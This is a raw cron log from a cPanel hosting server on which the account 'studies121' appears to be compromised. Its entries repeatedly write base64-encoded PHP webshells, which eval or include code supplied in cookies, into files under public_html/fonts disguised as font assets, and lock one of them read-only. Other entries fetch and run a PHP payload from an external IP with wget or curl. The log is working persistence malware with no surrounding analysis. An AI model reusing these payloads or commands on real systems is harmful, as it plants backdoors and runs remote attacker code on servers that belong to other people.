Sep  2 01:32:01 ip-184-168-122-23 CROND[21725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:33:01 ip-184-168-122-23 CROND[21915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:33:01 ip-184-168-122-23 CROND[21916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:33:01 ip-184-168-122-23 CROND[21920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:33:01 ip-184-168-122-23 CROND[21917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:34:01 ip-184-168-122-23 CROND[22009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:34:01 ip-184-168-122-23 CROND[22014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:34:01 ip-184-168-122-23 CROND[22012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:34:01 ip-184-168-122-23 CROND[22011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:34:01 ip-184-168-122-23 CROND[22013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:35:01 ip-184-168-122-23 CROND[22107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:35:01 ip-184-168-122-23 CROND[22109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:35:01 ip-184-168-122-23 CROND[22111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:35:01 ip-184-168-122-23 CROND[22112]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 01:35:01 ip-184-168-122-23 CROND[22114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:35:01 ip-184-168-122-23 CROND[22113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:35:01 ip-184-168-122-23 CROND[22110]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 01:35:01 ip-184-168-122-23 CROND[22115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:36:01 ip-184-168-122-23 CROND[22219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:36:01 ip-184-168-122-23 CROND[22222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:36:01 ip-184-168-122-23 CROND[22221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:36:01 ip-184-168-122-23 CROND[22223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:36:01 ip-184-168-122-23 CROND[22224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:37:01 ip-184-168-122-23 CROND[22312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:37:01 ip-184-168-122-23 CROND[22313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:37:01 ip-184-168-122-23 CROND[22315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:37:01 ip-184-168-122-23 CROND[22316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:38:01 ip-184-168-122-23 CROND[22490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:38:01 ip-184-168-122-23 CROND[22492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:38:01 ip-184-168-122-23 CROND[22495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:38:01 ip-184-168-122-23 CROND[22493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:38:01 ip-184-168-122-23 CROND[22496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:39:01 ip-184-168-122-23 CROND[22591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:39:01 ip-184-168-122-23 CROND[22594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:39:01 ip-184-168-122-23 CROND[22593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:39:01 ip-184-168-122-23 CROND[22592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:39:01 ip-184-168-122-23 CROND[22597]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 01:40:01 ip-184-168-122-23 CROND[22704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:40:01 ip-184-168-122-23 CROND[22705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:40:01 ip-184-168-122-23 CROND[22708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:40:01 ip-184-168-122-23 CROND[22709]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:40:01 ip-184-168-122-23 CROND[22714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:40:01 ip-184-168-122-23 CROND[22712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:40:01 ip-184-168-122-23 CROND[22713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:40:01 ip-184-168-122-23 CROND[22715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:41:01 ip-184-168-122-23 CROND[22805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:41:01 ip-184-168-122-23 CROND[22807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:41:01 ip-184-168-122-23 CROND[22806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:41:01 ip-184-168-122-23 CROND[22809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:42:01 ip-184-168-122-23 CROND[22908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:42:01 ip-184-168-122-23 CROND[22910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:42:01 ip-184-168-122-23 CROND[22911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:42:01 ip-184-168-122-23 CROND[22913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:42:01 ip-184-168-122-23 CROND[22914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:43:01 ip-184-168-122-23 CROND[23010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:43:01 ip-184-168-122-23 CROND[23012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:43:01 ip-184-168-122-23 CROND[23015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:43:01 ip-184-168-122-23 CROND[23013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:44:01 ip-184-168-122-23 CROND[23171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:44:01 ip-184-168-122-23 CROND[23174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:44:01 ip-184-168-122-23 CROND[23173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:44:01 ip-184-168-122-23 CROND[23172]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:44:01 ip-184-168-122-23 CROND[23175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
